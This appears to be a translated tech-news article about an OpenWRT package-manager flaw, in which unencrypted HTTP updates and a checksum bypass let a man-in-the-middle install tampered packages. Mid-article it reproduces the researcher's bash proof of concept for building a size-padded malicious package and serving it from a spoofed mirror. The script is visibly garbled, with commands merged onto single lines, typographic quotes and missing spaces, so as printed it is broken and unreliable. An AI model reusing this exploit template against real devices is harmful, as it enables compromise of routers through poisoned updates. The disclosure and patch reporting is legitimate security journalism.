Click the blue text above to follow us
OpenWRT Code Execution Vulnerability Puts Millions of Devices at Risk
Welcome to the latest news from the Wind Fire Wheel technical team, I am your reporter Xiao Fengfeng.
If you are familiar with the OpenWRT open-source community, you may know that OpenWRT is a very well-known embedded operating system. However, recently, OpenWRT has encountered a significant issue, and I will guide you through the details.
In the past three years, OpenWRT (an open-source operating system powering home routers and other types of embedded systems) has been vulnerable to remote code execution attacks because updates are provided through unencrypted channels, and digital signature verification can be easily bypassed.
OpenWRT has a loyal user base that uses the freely available packages to replace the firmware installed on their devices. In addition to routers, OpenWRT can also run on smartphones, portable computers, and even laptops and desktops. Users often find OpenWRT to be a more secure choice because it offers advanced features and its source code is easy to audit.
However, security researcher Guido Vranken recently discovered that update and installation files are transmitted over unencrypted HTTP connections, which are susceptible to attacks that allow attackers to completely replace legitimate updates with malware. This researcher, who works for the security company ForAllSecure, also found that for experienced attackers, bypassing the digital signature check (which verifies that the downloaded updates are legitimate updates provided by OpenWRT maintainers) is trivial. The combination of these two vulnerabilities makes it possible to send malicious updates that will automatically install on vulnerable devices.
(openwrt code)
Not Suitable for Everyone
The scope of these code execution vulnerabilities is limited because attackers must be able to perform a man-in-the-middle attack or tamper with the DNS servers that devices use to look for updates on the Internet. This means that routers on networks without malicious users and using legitimate DNS servers can be protected from attacks. Vranken also speculated that packet spoofing or ARP cache poisoning could also make attacks possible, but he cautioned against testing these methods.
Despite these requirements, many networks still connect devices operated by unknown or untrusted personnel. More importantly, attacks that replace routers pointing to legitimate DNS with malicious DNS routers have become a reality on the Internet, as shown by various real-world attacks.
(openwrt products)
The lack of mandatory HTTPS encryption is one of the reasons for the vulnerability. The encryption provided by HTTPS prevents man-in-the-middle attackers from tampering with data during transmission. The built-in authentication guarantees of HTTPS also prevent attackers from impersonating downloads.openwrt.org, which is the legitimate OpenWRT server providing updates and installation files. Updates can be installed from either the HTTP or HTTPS version of the download server.
Exploiting these weaknesses, Vranken was able to create a server that mimics downloads.openwrt.org and provides malicious updates. As long as the malicious file is the same size as the legitimate file, it will be executed by the vulnerable device. In a recent article, the researcher wrote:
It is simple to do this: create a package smaller than the original
calculate the size difference between the original package and the compromised package
append this zero-byte amount to the end of the compromised package
Vranken provided the following proof-of-concept code:
#!/bin/bash
# Download package list for mirroring
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/base/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/base/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/luci/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/luci/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/packages/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/packages/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/routing/Packages.gz
wget -xhttp://downloads.openwrt.org/snapshots/packages/x86_64/routing/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/telephony/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/telephony/Packages.sig
wget http://downloads.openwrt.org/snapshots/targets/x86/64/packages/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/targets/x86/64/packages/Packages.sig
mv downloads.openwrt.org/snapshots.
rm -rf downloads.openwrt.org/
# Get the original package
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/packages/attr_2.4.48-2_x86_64.ipk
ORIGINAL_FILESIZE=$(stat -c %s “attr_2.4.48-2_x86_64.ipk”)
tar zxvf attr_2.4.48-2_x86_64.ipk rm attr_2.4.48-2_x86_64.ipk
# Extract binary files mkdir data/ cd data/ tar zxvf ../data.tar.gz rm ../data.tar.gz
# Build replacement binary. This is a very small program that prints a string.
rm -f /tmp/pwned.asm /tmp/pwned.o
echo “section .text” >> /tmp/pwned.asm
echo “global _start” >> /tmp/pwned.asm
echo “_start:” >> /tmp/pwned.asm
echo “mov edx, len” >> /tmp/pwned.asm
echo “mov ecx, msg” >> /tmp/pwned.asm
echo “mov ebx, 1” >> /tmp/pwned.asm
echo “mov eax, 4” >> /tmp/pwned.asm
echo “int 0x80” >> /tmp/pwned.asm
echo “mov eax, 1” >> /tmp/pwned.asm
echo “int 0x80” >> /tmp/pwned.asm
echo “section .data” >> /tmp/pwned.asm
echo “msg db ‘pwned :)’, 0xa” >> /tmp/pwned.asm echo “len equ $-msg” >> /tmp/pwned.asm
# Assemble nasm /tmp/pwned.asm -f elf64 -o /tmp/pwned.o
# Link ld /tmp/pwned.o -o /usr/bin/attr
# Package into data.tar.gz
tar czvf ../data.tar.gz * cd ../
# Remove unnecessary files rm -rf data/
# Packagetar czvf attr_2.4.48-2_x86_64.ipk control.tar.gz data.tar.gz debian-binary
# Remove unnecessary files
rm control.tar.gz data.tar.gz debian-binary
# Calculate the size difference between the original package and the compromised package
MODIFIED_FILESIZE=$(stat -c %s “attr_2.4.48-2_x86_64.ipk”)
FILESIZE_DELTA=”$(($ORIGINAL_FILESIZE – $MODIFIED_FILESIZE))”
# Pad the modified file to the expected size
head -c $FILESIZE_DELTA /dev/zero >> attr_2.4.48-2_x86_64.ipk
# Download dependencies for attrwget http://downloads.openwrt.org/snapshots/packages/x86_64/packages/libattr_2.4.48-2_x86_64.ipk
# Place files to be served from the web server
mkdir -p snapshots/packages/x86_64/packages/mv attr_2.4.48-2_x86_64.ipk snapshots/packages/x86_64/packages/mv libattr_2.4.48-2_x86_64.ipk snapshots/packages/x86_64/packages/
# Start opkg to connect to the basic web server
sudo python -m SimpleHTTPServer 80
Long-time contributor to open-source projects Jo-Philipp Wich stated that the lack of mandatory HTTPS was a deliberate decision by OpenWRT maintainers to accommodate devices that can only receive package manager files through unencrypted HTTP channels. (Unlike updates downloaded and manually installed from the website, packages that add extra features like media servers can be downloaded and installed by the device itself.) To prevent attackers from exploiting the vulnerabilities discovered by Vranken, OpenWRT maintainers need to download updates that match the legitimate SHA256 cryptographic hash. If the hash does not match, the device should not execute the update.
However, Vranken found that the hash check could be bypassed by adding a space at the beginning of the input string for the checksum_hex2bin function. Vranken stated that this vulnerability seems to have been introduced in February 2017.
(books related to openwrt)
Solutions
OpenWRT maintainers released a patch in late January. The mitigation requires “listing new installations from a correctly formatted list that will never bypass hash verification.” Researchers say this update is a partial stopgap because attackers can substitute legitimate updates with older package lists. From there, attackers can exploit the same vulnerabilities as devices that have not been mitigated.
However, Wich strongly opposed the claim that the latest update did not fully resolve the vulnerability. The patch implemented on January 25 only exists on OpenWRT servers and still leaves open the possibility for attackers to replace old versions of legitimate updates. Wich stated that OpenWRT maintainers released a second update on January 29, which patched the checksum bypass vulnerability in the device firmware itself. After installing the update, it will no longer be possible to force the installation of malicious packages on devices running OpenWRT.
The update requires users to download files using a standard browser and then manually install the files on their devices. Wich stated that although OpenWRT consultations always send links to the HTTPS version, man-in-the-middle attackers can still downgrade the connection to use HTTP. Man-in-the-middle attackers can still downgrade HTTPS connections to HTTP connections and provide malicious updates. Wich stated that maintainers are considering a method to implement HTTPS when downloading updates in the browser.
OpenWRT users should install version 18.06.7 or 19.07.1 and ensure that updates are provided over HTTPS. Wich stated that these patches can permanently fix the vulnerability, contrary to Vranken’s claim that these updates are merely stopgap measures.
Follow Wind Fire Wheel, and the road of technology will always accompany you. See you next time!
